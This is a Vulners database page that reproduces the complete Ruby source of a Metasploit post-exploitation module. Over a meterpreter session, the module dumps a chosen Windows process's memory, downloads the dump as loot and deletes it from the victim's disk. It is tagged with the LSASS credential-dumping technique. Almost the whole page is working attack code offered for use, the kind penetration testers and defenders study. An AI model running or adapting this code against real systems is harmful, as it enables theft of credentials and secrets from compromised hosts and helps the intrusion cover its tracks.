Lucene search
K

Windows Process Memory Dump

🗓️ 09 Jul 2021 17:42:23Reported by smasheryType 
metasploit
 metasploit
🔗 www.rapid7.com👁 49 Views

Windows Process Memory Dump creates a memory dump of a process for offline analysis. Options for DUMP_TYPE affect the completeness of the dump

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Process Memory Dump',
        'Description' => %q{
          This module creates a memory dump of a process (to disk) and downloads the file
          for offline analysis.

          Options for DUMP_TYPE affect the completeness of the dump:

          "full" retrieves the entire process address space (all allocated pages);
          "standard" excludes image files (e.g. DLLs and EXEs in the address space) as
          well as memory mapped files. As a result, this option can be significantly
          smaller in size.
        },
        'License' => MSF_LICENSE,
        'Author' => ['smashery'],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_close
              core_channel_eof
              core_channel_open
              core_channel_read
              stdapi_fs_delete_file
              stdapi_fs_stat
              stdapi_railgun_api
              stdapi_sys_process_getpid
            ]
          }
        },
        'References' => [
          [ 'ATT&CK', Mitre::Attack::Technique::T1003_001_LSASS_MEMORY ]
        ]
      )
    )
    register_options([
      OptInt.new('PID', [false, 'ID of the process to dump memory from']),
      OptString.new('PROCESS_NAME', [false, 'Name of the process(es) to dump memory from']),
      OptString.new('DUMP_PATH', [false, 'File to write memory dump to']),
      OptEnum.new('DUMP_TYPE', [ true, 'Minidump size', 'standard', ['standard', 'full']])
    ])
  end

  def get_process_handle(pid)
    result = session.railgun.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, pid)
    error = result['GetLastError']
    unless error == 0
      fail_with(Msf::Module::Failure::PayloadFailed, "Unable to open process: #{result['ErrorMessage']}")
    end
    result['return']
  end

  def create_file(path)
    result = session.railgun.kernel32.CreateFileW(
      path,
      'GENERIC_READ | GENERIC_WRITE',
      0,
      nil,
      'CREATE_ALWAYS',
      0,
      0
    )
    error = result['GetLastError']
    unless error == 0
      fail_with(Msf::Module::Failure::PayloadFailed, "Unable to create file: #{result['ErrorMessage']}")
    end
    result['return']
  end

  def dump_process(pid)
    process = client.sys.process.processes.select { |p| p['pid'] == pid }.flatten.first

    fail_with(Msf::Module::Failure::PayloadFailed, "Could not find process #{pid}") unless process

    name = process['name'].to_s
    path = datastore['DUMP_PATH'] || "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(8..14)}"

    print_status("Dumping memory for #{name} (pid: #{pid}) to #{path}")

    if datastore['DUMP_TYPE'] == 'standard'
      # MiniDumpWithDataSegs | MiniDumpWithHandleData | MiniDumpWithIndirectlyReferencedMemory
      # | MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithThreadInfo
      dump_flags = 0x1 | 0x4 | 0x40 | 0x100 | 0x200 | 0x1000
    elsif datastore['DUMP_TYPE'] == 'full'
      # MiniDumpWithFullMemory
      dump_flags = 0x2
    end

    process_handle = nil
    file_handle = nil
    begin
      process_handle = get_process_handle(pid)
      file_handle = create_file(path)
      result = session.railgun.dbghelp.MiniDumpWriteDump(
        process_handle,
        pid,
        file_handle,
        dump_flags,
        nil,
        nil,
        nil
      )
      unless result['return']
        fail_with(Msf::Module::Failure::PayloadFailed, "Minidump failed: #{result['ErrorMessage']}")
      end
    ensure
      session.railgun.kernel32.CloseHandle(process_handle) if process_handle
      session.railgun.kernel32.CloseHandle(file_handle) if file_handle
    end

    download_dump(path)
  end

  def download_dump(path)
    loot_path = store_loot('windows.process.dump', 'application/octet-stream', session, '')
    src_stat = client.fs.filestat.new(path)
    print_status("Downloading minidump (#{Filesize.new(src_stat.size).pretty})")
    session.fs.file.download_file(loot_path, path)
    print_good("Memory dump stored at #{loot_path}")
  ensure
    print_status('Deleting minidump from disk')
    session.fs.file.delete(path)
  end

  def run
    fail_with(Failure::BadConfig, 'Only meterpreter sessions are supported by this module') unless session.type == 'meterpreter'

    if datastore['PID'] && datastore['PROCESS_NAME']
      fail_with(Failure::BadConfig, 'PROCESS_NAME and PID are mutually exclusive.')
    end

    unless datastore['PID'] || datastore['PROCESS_NAME']
      fail_with(Failure::BadConfig, 'PROCESS_NAME or PID must be set.')
    end

    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
    print_status("Running module against #{hostname} (#{session.session_host})")

    if datastore['PROCESS_NAME']
      pids = pidof(datastore['PROCESS_NAME'])
      fail_with(Failure::BadConfig, "Could not find PID for process '#{datastore['PROCESS_NAME']}'") if pids.empty?
    else
      pids = [datastore['PID']]
    end

    session_pid = session.sys.process.getpid

    pids.uniq.each do |pid|
      if pid == session_pid && !datastore['ForceExploit']
        print_warning("Skipping process #{pid}. Dumping current process is not recommended (can result in deadlock). To run anyway, set ForceExploit to True")
        next
      end

      dump_process(pid)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation